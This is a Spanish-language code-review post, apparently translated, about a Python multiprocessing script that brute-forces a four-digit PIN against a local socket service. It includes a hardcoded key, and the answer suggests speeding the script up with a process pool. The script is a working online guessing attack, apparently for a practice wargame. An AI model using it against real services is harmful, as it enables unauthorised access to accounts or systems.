Divide and Conquer Password Bruteforcer
Mi programa fuerza bruta una contraseña. La contraseña es una cadena compuesta por una clave y un código numérico de cuatro dígitos. La clave es conocida, por lo que básicamente estamos forzando entre 0000 y 9999.
Un ejemplo de contraseña es:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143
Actualicé ese script que escribí para aprovechar el multiprocesamiento para que se ejecute más rápido. La idea básica es dividir la tarea por la cantidad de CPU disponibles. Hay dos eventos configurados:
prnt_sig_foundLos subprocesos lo utilizan para decirle al padre si logran adivinar la contraseña correcta.- El proceso padre luego usa
child_sig_termpara detener cada subproceso
Mi Python está oxidado y creo que tomé algunas malas decisiones. Sería útil invalidar mis suposiciones. :)
#!/usr/bin/env python
# coding: utf-8
import multiprocessing as mp
import socket
import time
import math
import sys
import os
class Connection:
def __init__(self, pin = 0, max_iter = 10000, sock = None):
print('initizializing socket instance ...')
self.pin = pin
self.max_iter = max_iter
self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def p_name(self):
return mp.current_process().name
def connect(self, host='127.0.0.1', port=30002):
print(self.p_name(), 'connecting ...', host, port)
self.sock.connect((host, port))
print(self.p_name(), 'connection successful.')
def write(self, msg):
print(self.p_name(), 'sending', msg)
self.sock.sendall(msg)
def read(self):
print(self.p_name(), 'reading data ...')
data = self.sock.recv(4096)
return data
def close(self):
try:
self.sock.shutdown(0)
self.sock.close()
except:
pass
def execute(self, child_sig_term, prnt_sig_found):
start_time = time.time()
print(self.p_name(), 'executing ...')
self.connect()
welcome_str = self.read()
print(welcome_str)
while self.pin < self.max_iter:
if child_sig_term.is_set():
break
pin_str = str(self.pin).zfill(4)
message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent
self.write(message.encode())
received_msg = self.read()
if 'Wrong' in received_msg:
print(self.p_name(), 'Wrong guess %s', pin_str)
else:
print('_________________found_____________', received_msg)
prnt_sig_found.set()
break
self.pin += 1
time.sleep(0.5)
end_time = time.time()
total_time = end_time - start_time
print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')
def main():
print('main')
connections = []
processes = []
# requires read/write access to /dev/shm
prnt_sig_found = mp.Event()
child_sig_term = mp.Event()
MAX_ITER_COUNT = 10000
processor_count = mp.cpu_count()
step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
end = step_count
start = 0
print('Initial values ->', processor_count, step_count, start, end)
try:
for i in range(processor_count):
conn = Connection(pin = start, max_iter = end)
proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'
process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
process.daemon = True
connections.append(conn)
processes.append(process)
start = end + 1
end += start + step_count
# ensure start and end don't exceed max
if MAX_ITER_COUNT < end : end = MAX_ITER_COUNT
if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT
# start all processes
for process in processes:
process.start()
# wait for all processes to finish
# block the main program until these processes are finished
for process in processes:
process.join()
prnt_sig_found.wait()
child_sig_term.set()
except:
pass
finally:
for conn in connections:
conn.close()
for process in processes:
if process.is_alive():
process.terminate()
if __name__ == '__main__':
main()
Respuestas
Usar grupos de procesos
El multiprocessingmódulo ya tiene funciones para crear un grupo de procesos , por lo que no tiene que implementarlo usted mismo. Hay funciones para que inicie automáticamente una serie de tareas de una sola vez. Por ejemplo, con la map()función, puede poner en cola una tarea para cada combinación posible de 4 dígitos:
pool = mp.Pool();
pool.map(try_combination, range(10000))
Esto hará que los subprocesos de trabajo ejecuten la try_combination()función en todos los valores entre 0 y 9999. En su caso, es posible que desee evitar la creación de una sola conexión para cada combinación, por lo que debe hacerlo de modo que no ponga en cola una tarea para cada combinación, sino que cada tarea pruebe muchas combinaciones. Eche un vistazo a la documentación de multiprocessing.poolpara averiguar qué es posible.
El uso multiprocessing.pooldebería permitirle eliminar la mayor parte del código en formato main().
Detenga otros procesos cuando encuentre la combinación correcta
Su código genera múltiples procesos, cada uno de los cuales prueba una variedad de combinaciones. Luego espere a que todos terminen. Pero, en promedio, encontrará la combinación correcta después de probar solo la mitad de las combinaciones, por lo que será dos veces más eficiente si deja de procesar una vez que encuentre la combinación correcta. Eso significa que en lugar de esperar a que terminen todos, debes esperar a que termine el primero, comprobar si ha encontrado la combinación y, en caso afirmativo, detener los demás procesos.
Con multiprocessing.poolpuedes hacer esto usando map_async()y terminate().
Eliminar la mayoría de las print()declaraciones
Estoy seguro de que fueron útiles al crear el código, para ver qué está haciendo y para depurar cualquier problema. Pero ahora que está funcionando, debe eliminar estas declaraciones. Al final, no estás interesado en lo que está pasando, solo en el resultado final. Además, no imprima la cantidad de tiempo que tomó, puede usar herramientas externas como el timecomando para medir cuánto tiempo tardó su programa en ejecutarse.
Considere reemplazar class Connectioncon una sola función
Escribiste un classpara hacer una conexión y probar varias combinaciones, pero lo único que haces es construirlo y llamar execute()una vez. Una sola función sería suficiente aquí.
Además, después de eliminar las print()declaraciones innecesarias , veo que la mayoría de las funciones miembro son solo una declaración única. En lugar de escribir esa función miembro y llamarla adentro execute(), podría haber escrito esa declaración directamente adentro execute(). Entonces, mueva todas las demás funciones miembro y el constructor execute(), muévalas fuera de classy asígnele un nombre mejor, como try_combinations().